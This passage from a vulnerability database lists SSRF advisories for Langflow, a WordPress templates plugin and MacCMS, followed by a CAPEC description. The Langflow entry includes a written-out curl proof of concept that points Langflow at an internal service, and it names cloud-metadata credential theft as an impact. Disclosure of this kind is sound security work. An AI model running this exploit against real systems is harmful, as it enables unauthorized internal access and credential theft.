https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n \n ```python\n # Handle response content\n if is_binary:\n result = response.content\n else:\n try:\n result = response.json()\n except json.JSONDecodeError:\n self.log(\"Failed to decode JSON response\")\n result = response.text.encode(\"utf-8\")\n \n metadata[\"result\"] = result\n \n if include_httpx_metadata:\n metadata.update({\"headers\": headers})\n \n return Data(data=metadata)\n ```\n \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/\u003cFLOW_ID\u003e` with an API key to perform SSRF. The response returned the internal service\u2019s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n \n \u003cimg width=\"1917\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f\" /\u003e\n \n- Exploit\n \n ```bash\n curl -s -X POST \u0027http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M\u0027 \\\n --data-raw \u0027{\n \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n \"outputs\":[\"Chat Output\"],\n \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n \"stream\":false\n }\u0027 | jq -r \u0027.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result\u0027\n ```\n \n \u003cimg width=\"1918\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1\" /\u003e\n \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF\u2192RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.",
"id": "GHSA-5993-7p27-66g5",
"modified": "2025-12-19T22:52:59Z",
"published": "2025-12-19T22:52:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68477"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Langflow vulnerable to Server-Side Request Forgery"
}
GHSA-59FR-VM6H-JF4M
Vulnerability from github – Published: 2023-12-07 12:30 – Updated: 2026-04-28 21:33Server-Side Request Forgery (SSRF) vulnerability in Brainstorm Force Starter Templates — Elementor, WordPress & Beaver Builder Templates.This issue affects Starter Templates — Elementor, WordPress & Beaver Builder Templates: from n/a through 3.2.4.
{
"affected": [],
"aliases": [
"CVE-2023-41804"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-07T11:15:07Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Brainstorm Force Starter Templates \u2014 Elementor, WordPress \u0026 Beaver Builder Templates.This issue affects Starter Templates \u2014 Elementor, WordPress \u0026 Beaver Builder Templates: from n/a through 3.2.4.",
"id": "GHSA-59fr-vm6h-jf4m",
"modified": "2026-04-28T21:33:17Z",
"published": "2023-12-07T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41804"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/astra-sites/wordpress-starter-templates-plugin-3-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-59HH-WC56-CMRQ
Vulnerability from github – Published: 2025-09-14 12:30 – Updated: 2025-09-14 12:30A vulnerability was identified in Magicblack MacCMS 2025.1000.4050. This affects an unknown part of the component API Handler. The manipulation of the argument cjurl leads to server-side request forgery. The attack can be initiated remotely. The exploit is publicly available and might be used.
{
"affected": [],
"aliases": [
"CVE-2025-10397"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-14T11:15:29Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in Magicblack MacCMS 2025.1000.4050. This affects an unknown part of the component API Handler. The manipulation of the argument cjurl leads to server-side request forgery. The attack can be initiated remotely. The exploit is publicly available and might be used.",
"id": "GHSA-59hh-wc56-cmrq",
"modified": "2025-09-14T12:30:24Z",
"published": "2025-09-14T12:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10397"
},
{
"type": "WEB",
"url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb018.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.323832"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.323832"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.645805"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.